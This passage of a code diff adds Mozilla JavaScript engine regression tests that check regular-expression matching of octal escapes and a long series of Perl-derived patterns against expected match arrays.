+++ b/js/src/tests/ecma_3/RegExp/octal-001.js
@@ -0,0 +1,102 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 18 July 2002
+ * SUMMARY: Testing octal sequences in regexps
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=141078
+ *
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 141078;
+var summary = 'Testing octal sequences in regexps';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+
+
+status = inSection(1);
+pattern = /\240/;
+string = 'abc';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+/*
+ * In the following sections, we test the octal escape sequence '\052'.
+ * This is character code 42, representing the asterisk character '*'.
+ * The Unicode escape for it would be '\u002A', the hex escape '\x2A'.
+ */
+status = inSection(2);
+pattern = /ab\052c/;
+string = 'ab*c';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ab*c');
+addThis();
+
+status = inSection(3);
+pattern = /ab\052*c/;
+string = 'abc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abc');
+addThis();
+
+status = inSection(4);
+pattern = /ab(\052)+c/;
+string = 'ab****c';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ab****c', '*');
+addThis();
+
+status = inSection(5);
+pattern = /ab((\052)+)c/;
+string = 'ab****c';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ab****c', '****', '*');
+addThis();
+
+status = inSection(6);
+pattern = /(?:\052)c/;
+string = 'ab****c';
+actualmatch = string.match(pattern);
+expectedmatch = Array('*c');
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/RegExp/octal-002.js b/js/src/tests/ecma_3/RegExp/octal-002.js
new file mode 100644
index 000000000..947031a94
--- /dev/null
+++ b/js/src/tests/ecma_3/RegExp/octal-002.js
@@ -0,0 +1,184 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 31 July 2002
+ * SUMMARY: Testing regexps containing octal escape sequences
+ * This is an elaboration of mozilla/js/tests/ecma_2/RegExp/octal-003.js
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=141078
+ * for a reference on octal escape sequences in regexps.
+ *
+ * NOTE:
+ * We will use the identities '\011' === '\u0009' === '\x09' === '\t'
+ *
+ * The first is an octal escape sequence (\(0-3)OO; O an octal digit).
+ * See ECMA-262 Edition 2, Section 7.7.4 "String Literals". These were
+ * dropped in Edition 3 but we support them for backward compatibility.
+ *
+ * The second is a Unicode escape sequence (\uHHHH; H a hex digit).
+ * Since octal 11 = hex 9, the two escapes define the same character.
+ *
+ * The third is a hex escape sequence (\xHH; H a hex digit).
+ * Since hex 09 = hex 0009, this defines the same character.
+ *
+ * The fourth is the familiar escape sequence for a horizontal tab,
+ * defined in the ECMA spec as having Unicode value \u0009.
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 141078;
+var summary = 'Testing regexps containing octal escape sequences';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+
+
+/*
+ * Test a string containing the null character '\0' followed by the string '11'
+ *
+ * 'a' + String.fromCharCode(0) + '11';
+ *
+ * Note we can't simply write 'a\011', because '\011' would be interpreted
+ * as the octal escape sequence for the tab character (see above).
+ *
+ * We should get no match from the regexp /.\011/, because it should be
+ * looking for the octal escape sequence \011, i.e. the tab character -
+ *
+ */
+status = inSection(1);
+pattern = /.\011/;
+string = 'a' + String.fromCharCode(0) + '11';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+
+/*
+ * Try same thing with 'xx' in place of '11'.
+ *
+ * Should get a match now, because the octal escape sequence in the regexp
+ * has been reduced from \011 to \0, and '\0' is present in the string -
+ */
+status = inSection(2);
+pattern = /.\0xx/;
+string = 'a' + String.fromCharCode(0) + 'xx';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string);
+addThis();
+
+
+/*
+ * Same thing; don't use |String.fromCharCode(0)| this time.
+ * There is no ambiguity in '\0xx': it is the null character
+ * followed by two x's, no other interpretation is possible.
+ */
+status = inSection(3);
+pattern = /.\0xx/;
+string = 'a\0xx';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string);
+addThis();
+
+
+/*
+ * This one should produce a match. The two-character string
+ * 'a' + '\011' is duplicated in the pattern and test string:
+ */
+status = inSection(4);
+pattern = /.\011/;
+string = 'a\011';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string);
+addThis();
+
+
+/*
+ * Same as above, only now, for the second character of the string,
+ * use the Unicode escape '\u0009' instead of the octal escape '\011'
+ */
+status = inSection(5);
+pattern = /.\011/;
+string = 'a\u0009';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string);
+addThis();
+
+
+/*
+ * Same as above, only now for the second character of the string,
+ * use the hex escape '\x09' instead of the octal escape '\011'
+ */
+status = inSection(6);
+pattern = /.\011/;
+string = 'a\x09';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string);
+addThis();
+
+
+/*
+ * Same as above, only now for the second character of the string,
+ * use the escape '\t' instead of the octal escape '\011'
+ */
+status = inSection(7);
+pattern = /.\011/;
+string = 'a\t';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string);
+addThis();
+
+
+/*
+ * Return to the string from Section 1.
+ *
+ * Unlike Section 1, use the RegExp() function to create the
+ * regexp pattern: null character followed by the string '11'.
+ *
+ * Since this is exactly what the string is, we should get a match -
+ */
+status = inSection(8);
+string = 'a' + String.fromCharCode(0) + '11';
+pattern = RegExp(string);
+actualmatch = string.match(pattern);
+expectedmatch = Array(string);
+addThis();
+
+
+
+
+//-------------------------------------------------------------------------------------------------
+test();
+//-------------------------------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/RegExp/perlstress-001.js b/js/src/tests/ecma_3/RegExp/perlstress-001.js
new file mode 100644
index 000000000..ba23360da
--- /dev/null
+++ b/js/src/tests/ecma_3/RegExp/perlstress-001.js
@@ -0,0 +1,3196 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 2002-07-07
+ * SUMMARY: Testing JS RegExp engine against Perl 5 RegExp engine.
+ * Adjust cnLBOUND, cnUBOUND below to restrict which sections are tested.
+ *
+ * This test was created by running various patterns and strings through the
+ * Perl 5 RegExp engine. We saved the results below to test the JS engine.
+ *
+ * NOTE: ECMA/JS and Perl do differ on certain points. We have either commented
+ * out such sections altogether, or modified them to fit what we expect from JS.
+ *
+ * EXAMPLES:
+ *
+ * - In JS, regexp captures (/(a) etc./) must hold |undefined| if not used.
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=123437.
+ * By contrast, in Perl, unmatched captures hold the empty string.
+ * We have modified such sections accordingly. Example:
+
+ pattern = /^([^a-z])|(\^)$/;
+ string = '.';
+ actualmatch = string.match(pattern);
+ //expectedmatch = Array('.', '.', ''); <<<--- Perl
+ expectedmatch = Array('.', '.', undefined); <<<--- JS
+ addThis();
+
+
+ * - In JS, you can't refer to a capture before it's encountered & completed
+ *
+ * - Perl supports ] & ^] inside a [], ECMA does not
+ *
+ * - ECMA does support (?: (?= and (?! operators, but doesn't support (?< etc.
+ *
+ * - ECMA doesn't support (?imsx or (?-imsx
+ *
+ * - ECMA doesn't support (?(condition)
+ *
+ * - Perl has \Z has end-of-line, ECMA doesn't
+ *
+ * - In ECMA, ^ matches only the empty string before the first character
+ *
+ * - In ECMA, $ matches only the empty string at end of input (unless multiline)
+ *
+ * - ECMA spec says that each atom in a range must be a single character
+ *
+ * - ECMA doesn't support \A
+ *
+ * - ECMA doesn't have rules for [:
+ *
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 85721;
+var summary = 'Testing regular expression edge cases';
+var cnSingleSpace = ' ';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+var cnLBOUND = 1;
+var cnUBOUND = 1000;
+
+
+status = inSection(1);
+pattern = /abc/;
+string = 'abc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abc');
+addThis();
+
+status = inSection(2);
+pattern = /abc/;
+string = 'xabcy';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abc');
+addThis();
+
+status = inSection(3);
+pattern = /abc/;
+string = 'ababc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abc');
+addThis();
+
+status = inSection(4);
+pattern = /ab*c/;
+string = 'abc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abc');
+addThis();
+
+status = inSection(5);
+pattern = /ab*bc/;
+string = 'abc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abc');
+addThis();
+
+status = inSection(6);
+pattern = /ab*bc/;
+string = 'abbc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abbc');
+addThis();
+
+status = inSection(7);
+pattern = /ab*bc/;
+string = 'abbbbc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abbbbc');
+addThis();
+
+status = inSection(8);
+pattern = /.{1}/;
+string = 'abbbbc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a');
+addThis();
+
+status = inSection(9);
+pattern = /.{3,4}/;
+string = 'abbbbc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abbb');
+addThis();
+
+status = inSection(10);
+pattern = /ab{0,}bc/;
+string = 'abbbbc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abbbbc');
+addThis();
+
+status = inSection(11);
+pattern = /ab+bc/;
+string = 'abbc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abbc');
+addThis();
+
+status = inSection(12);
+pattern = /ab+bc/;
+string = 'abbbbc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abbbbc');
+addThis();
+
+status = inSection(13);
+pattern = /ab{1,}bc/;
+string = 'abbbbc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abbbbc');
+addThis();
+
+status = inSection(14);
+pattern = /ab{1,3}bc/;
+string = 'abbbbc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abbbbc');
+addThis();
+
+status = inSection(15);
+pattern = /ab{3,4}bc/;
+string = 'abbbbc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abbbbc');
+addThis();
+
+status = inSection(16);
+pattern = /ab?bc/;
+string = 'abbc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abbc');
+addThis();
+
+status = inSection(17);
+pattern = /ab?bc/;
+string = 'abc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abc');
+addThis();
+
+status = inSection(18);
+pattern = /ab{0,1}bc/;
+string = 'abc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abc');
+addThis();
+
+status = inSection(19);
+pattern = /ab?c/;
+string = 'abc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abc');
+addThis();
+
+status = inSection(20);
+pattern = /ab{0,1}c/;
+string = 'abc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abc');
+addThis();
+
+status = inSection(21);
+pattern = /^abc$/;
+string = 'abc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abc');
+addThis();
+
+status = inSection(22);
+pattern = /^abc/;
+string = 'abcc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abc');
+addThis();
+
+status = inSection(23);
+pattern = /abc$/;
+string = 'aabc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abc');
+addThis();
+
+status = inSection(24);
+pattern = /^/;
+string = 'abc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('');
+addThis();
+
+status = inSection(25);
+pattern = /$/;
+string = 'abc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('');
+addThis();
+
+status = inSection(26);
+pattern = /a.c/;
+string = 'abc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abc');
+addThis();
+
+status = inSection(27);
+pattern = /a.c/;
+string = 'axc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('axc');
+addThis();
+
+status = inSection(28);
+pattern = /a.*c/;
+string = 'axyzc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('axyzc');
+addThis();
+
+status = inSection(29);
+pattern = /a[bc]d/;
+string = 'abd';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abd');
+addThis();
+
+status = inSection(30);
+pattern = /a[b-d]e/;
+string = 'ace';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ace');
+addThis();
+
+status = inSection(31);
+pattern = /a[b-d]/;
+string = 'aac';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ac');
+addThis();
+
+status = inSection(32);
+pattern = /a[-b]/;
+string = 'a-';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a-');
+addThis();
+
+status = inSection(33);
+pattern = /a[b-]/;
+string = 'a-';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a-');
+addThis();
+
+status = inSection(34);
+pattern = /a]/;
+string = 'a]';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a]');
+addThis();
+
+/* Perl supports ] & ^] inside a [], ECMA does not
+ pattern = /a[]]b/;
+ status = inSection(35);
+ string = 'a]b';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a]b');
+ addThis();
+*/
+
+status = inSection(36);
+pattern = /a[^bc]d/;
+string = 'aed';
+actualmatch = string.match(pattern);
+expectedmatch = Array('aed');
+addThis();
+
+status = inSection(37);
+pattern = /a[^-b]c/;
+string = 'adc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('adc');
+addThis();
+
+/* Perl supports ] & ^] inside a [], ECMA does not
+ status = inSection(38);
+ pattern = /a[^]b]c/;
+ string = 'adc';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('adc');
+ addThis();
+*/
+
+status = inSection(39);
+pattern = /\ba\b/;
+string = 'a-';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a');
+addThis();
+
+status = inSection(40);
+pattern = /\ba\b/;
+string = '-a';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a');
+addThis();
+
+status = inSection(41);
+pattern = /\ba\b/;
+string = '-a-';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a');
+addThis();
+
+status = inSection(42);
+pattern = /\By\b/;
+string = 'xy';
+actualmatch = string.match(pattern);
+expectedmatch = Array('y');
+addThis();
+
+status = inSection(43);
+pattern = /\by\B/;
+string = 'yz';
+actualmatch = string.match(pattern);
+expectedmatch = Array('y');
+addThis();
+
+status = inSection(44);
+pattern = /\By\B/;
+string = 'xyz';
+actualmatch = string.match(pattern);
+expectedmatch = Array('y');
+addThis();
+
+status = inSection(45);
+pattern = /\w/;
+string = 'a';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a');
+addThis();
+
+status = inSection(46);
+pattern = /\W/;
+string = '-';
+actualmatch = string.match(pattern);
+expectedmatch = Array('-');
+addThis();
+
+status = inSection(47);
+pattern = /a\Sb/;
+string = 'a-b';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a-b');
+addThis();
+
+status = inSection(48);
+pattern = /\d/;
+string = '1';
+actualmatch = string.match(pattern);
+expectedmatch = Array('1');
+addThis();
+
+status = inSection(49);
+pattern = /\D/;
+string = '-';
+actualmatch = string.match(pattern);
+expectedmatch = Array('-');
+addThis();
+
+status = inSection(50);
+pattern = /[\w]/;
+string = 'a';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a');
+addThis();
+
+status = inSection(51);
+pattern = /[\W]/;
+string = '-';
+actualmatch = string.match(pattern);
+expectedmatch = Array('-');
+addThis();
+
+status = inSection(52);
+pattern = /a[\S]b/;
+string = 'a-b';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a-b');
+addThis();
+
+status = inSection(53);
+pattern = /[\d]/;
+string = '1';
+actualmatch = string.match(pattern);
+expectedmatch = Array('1');
+addThis();
+
+status = inSection(54);
+pattern = /[\D]/;
+string = '-';
+actualmatch = string.match(pattern);
+expectedmatch = Array('-');
+addThis();
+
+status = inSection(55);
+pattern = /ab|cd/;
+string = 'abc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ab');
+addThis();
+
+status = inSection(56);
+pattern = /ab|cd/;
+string = 'abcd';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ab');
+addThis();
+
+status = inSection(57);
+pattern = /()ef/;
+string = 'def';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ef', '');
+addThis();
+
+status = inSection(58);
+pattern = /a\(b/;
+string = 'a(b';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a(b');
+addThis();
+
+status = inSection(59);
+pattern = /a\(*b/;
+string = 'ab';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ab');
+addThis();
+
+status = inSection(60);
+pattern = /a\(*b/;
+string = 'a((b';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a((b');
+addThis();
+
+status = inSection(61);
+pattern = /a\\b/;
+string = 'a\\b';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a\\b');
+addThis();
+
+status = inSection(62);
+pattern = /((a))/;
+string = 'abc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a', 'a', 'a');
+addThis();
+
+status = inSection(63);
+pattern = /(a)b(c)/;
+string = 'abc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abc', 'a', 'c');
+addThis();
+
+status = inSection(64);
+pattern = /a+b+c/;
+string = 'aabbabc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abc');
+addThis();
+
+status = inSection(65);
+pattern = /a{1,}b{1,}c/;
+string = 'aabbabc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abc');
+addThis();
+
+status = inSection(66);
+pattern = /a.+?c/;
+string = 'abcabc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abc');
+addThis();
+
+status = inSection(67);
+pattern = /(a+|b)*/;
+string = 'ab';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ab', 'b');
+addThis();
+
+status = inSection(68);
+pattern = /(a+|b){0,}/;
+string = 'ab';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ab', 'b');
+addThis();
+
+status = inSection(69);
+pattern = /(a+|b)+/;
+string = 'ab';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ab', 'b');
+addThis();
+
+status = inSection(70);
+pattern = /(a+|b){1,}/;
+string = 'ab';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ab', 'b');
+addThis();
+
+status = inSection(71);
+pattern = /(a+|b)?/;
+string = 'ab';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a', 'a');
+addThis();
+
+status = inSection(72);
+pattern = /(a+|b){0,1}/;
+string = 'ab';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a', 'a');
+addThis();
+
+status = inSection(73);
+pattern = /[^ab]*/;
+string = 'cde';
+actualmatch = string.match(pattern);
+expectedmatch = Array('cde');
+addThis();
+
+status = inSection(74);
+pattern = /([abc])*d/;
+string = 'abbbcd';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abbbcd', 'c');
+addThis();
+
+status = inSection(75);
+pattern = /([abc])*bcd/;
+string = 'abcd';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abcd', 'a');
+addThis();
+
+status = inSection(76);
+pattern = /a|b|c|d|e/;
+string = 'e';
+actualmatch = string.match(pattern);
+expectedmatch = Array('e');
+addThis();
+
+status = inSection(77);
+pattern = /(a|b|c|d|e)f/;
+string = 'ef';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ef', 'e');
+addThis();
+
+status = inSection(78);
+pattern = /abcd*efg/;
+string = 'abcdefg';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abcdefg');
+addThis();
+
+status = inSection(79);
+pattern = /ab*/;
+string = 'xabyabbbz';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ab');
+addThis();
+
+status = inSection(80);
+pattern = /ab*/;
+string = 'xayabbbz';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a');
+addThis();
+
+status = inSection(81);
+pattern = /(ab|cd)e/;
+string = 'abcde';
+actualmatch = string.match(pattern);
+expectedmatch = Array('cde', 'cd');
+addThis();
+
+status = inSection(82);
+pattern = /[abhgefdc]ij/;
+string = 'hij';
+actualmatch = string.match(pattern);
+expectedmatch = Array('hij');
+addThis();
+
+status = inSection(83);
+pattern = /(abc|)ef/;
+string = 'abcdef';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ef', '');
+addThis();
+
+status = inSection(84);
+pattern = /(a|b)c*d/;
+string = 'abcd';
+actualmatch = string.match(pattern);
+expectedmatch = Array('bcd', 'b');
+addThis();
+
+status = inSection(85);
+pattern = /(ab|ab*)bc/;
+string = 'abc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abc', 'a');
+addThis();
+
+status = inSection(86);
+pattern = /a([bc]*)c*/;
+string = 'abc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abc', 'bc');
+addThis();
+
+status = inSection(87);
+pattern = /a([bc]*)(c*d)/;
+string = 'abcd';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abcd', 'bc', 'd');
+addThis();
+
+status = inSection(88);
+pattern = /a([bc]+)(c*d)/;
+string = 'abcd';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abcd', 'bc', 'd');
+addThis();
+
+status = inSection(89);
+pattern = /a([bc]*)(c+d)/;
+string = 'abcd';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abcd', 'b', 'cd');
+addThis();
+
+status = inSection(90);
+pattern = /a[bcd]*dcdcde/;
+string = 'adcdcde';
+actualmatch = string.match(pattern);
+expectedmatch = Array('adcdcde');
+addThis();
+
+status = inSection(91);
+pattern = /(ab|a)b*c/;
+string = 'abc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abc', 'ab');
+addThis();
+
+status = inSection(92);
+pattern = /((a)(b)c)(d)/;
+string = 'abcd';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abcd', 'abc', 'a', 'b', 'd');
+addThis();
+
+status = inSection(93);
+pattern = /[a-zA-Z_][a-zA-Z0-9_]*/;
+string = 'alpha';
+actualmatch = string.match(pattern);
+expectedmatch = Array('alpha');
+addThis();
+
+status = inSection(94);
+pattern = /^a(bc+|b[eh])g|.h$/;
+string = 'abh';
+actualmatch = string.match(pattern);
+expectedmatch = Array('bh', undefined);
+addThis();
+
+status = inSection(95);
+pattern = /(bc+d$|ef*g.|h?i(j|k))/;
+string = 'effgz';
+actualmatch = string.match(pattern);
+expectedmatch = Array('effgz', 'effgz', undefined);
+addThis();
+
+status = inSection(96);
+pattern = /(bc+d$|ef*g.|h?i(j|k))/;
+string = 'ij';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ij', 'ij', 'j');
+addThis();
+
+status = inSection(97);
+pattern = /(bc+d$|ef*g.|h?i(j|k))/;
+string = 'reffgz';
+actualmatch = string.match(pattern);
+expectedmatch = Array('effgz', 'effgz', undefined);
+addThis();
+
+status = inSection(98);
+pattern = /((((((((((a))))))))))/;
+string = 'a';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a');
+addThis();
+
+status = inSection(99);
+pattern = /((((((((((a))))))))))\10/;
+string = 'aa';
+actualmatch = string.match(pattern);
+expectedmatch = Array('aa', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a');
+addThis();
+
+status = inSection(100);
+pattern = /((((((((((a))))))))))/;
+string = 'a!';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a');
+addThis();
+
+status = inSection(101);
+pattern = /(((((((((a)))))))))/;
+string = 'a';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a');
+addThis();
+
+status = inSection(102);
+pattern = /(.*)c(.*)/;
+string = 'abcde';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abcde', 'ab', 'de');
+addThis();
+
+status = inSection(103);
+pattern = /abcd/;
+string = 'abcd';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abcd');
+addThis();
+
+status = inSection(104);
+pattern = /a(bc)d/;
+string = 'abcd';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abcd', 'bc');
+addThis();
+
+status = inSection(105);
+pattern = /a[-]?c/;
+string = 'ac';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ac');
+addThis();
+
+status = inSection(106);
+pattern = /(abc)\1/;
+string = 'abcabc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abcabc', 'abc');
+addThis();
+
+status = inSection(107);
+pattern = /([a-c]*)\1/;
+string = 'abcabc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abcabc', 'abc');
+addThis();
+
+status = inSection(108);
+pattern = /(a)|\1/;
+string = 'a';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a', 'a');
+addThis();
+
+status = inSection(109);
+pattern = /(([a-c])b*?\2)*/;
+string = 'ababbbcbc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ababb', 'bb', 'b');
+addThis();
+
+status = inSection(110);
+pattern = /(([a-c])b*?\2){3}/;
+string = 'ababbbcbc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ababbbcbc', 'cbc', 'c');
+addThis();
+
+/* Can't refer to a capture before it's encountered & completed
+ status = inSection(111);
+ pattern = /((\3|b)\2(a)x)+/;
+ string = 'aaaxabaxbaaxbbax';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('bbax', 'bbax', 'b', 'a');
+ addThis();
+
+ status = inSection(112);
+ pattern = /((\3|b)\2(a)){2,}/;
+ string = 'bbaababbabaaaaabbaaaabba';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('bbaaaabba', 'bba', 'b', 'a');
+ addThis();
+*/
+
+status = inSection(113);
+pattern = /abc/i;
+string = 'ABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABC');
+addThis();
+
+status = inSection(114);
+pattern = /abc/i;
+string = 'XABCY';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABC');
+addThis();
+
+status = inSection(115);
+pattern = /abc/i;
+string = 'ABABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABC');
+addThis();
+
+status = inSection(116);
+pattern = /ab*c/i;
+string = 'ABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABC');
+addThis();
+
+status = inSection(117);
+pattern = /ab*bc/i;
+string = 'ABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABC');
+addThis();
+
+status = inSection(118);
+pattern = /ab*bc/i;
+string = 'ABBC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABBC');
+addThis();
+
+status = inSection(119);
+pattern = /ab*?bc/i;
+string = 'ABBBBC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABBBBC');
+addThis();
+
+status = inSection(120);
+pattern = /ab{0,}?bc/i;
+string = 'ABBBBC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABBBBC');
+addThis();
+
+status = inSection(121);
+pattern = /ab+?bc/i;
+string = 'ABBC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABBC');
+addThis();
+
+status = inSection(122);
+pattern = /ab+bc/i;
+string = 'ABBBBC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABBBBC');
+addThis();
+
+status = inSection(123);
+pattern = /ab{1,}?bc/i;
+string = 'ABBBBC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABBBBC');
+addThis();
+
+status = inSection(124);
+pattern = /ab{1,3}?bc/i;
+string = 'ABBBBC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABBBBC');
+addThis();
+
+status = inSection(125);
+pattern = /ab{3,4}?bc/i;
+string = 'ABBBBC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABBBBC');
+addThis();
+
+status = inSection(126);
+pattern = /ab??bc/i;
+string = 'ABBC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABBC');
+addThis();
+
+status = inSection(127);
+pattern = /ab??bc/i;
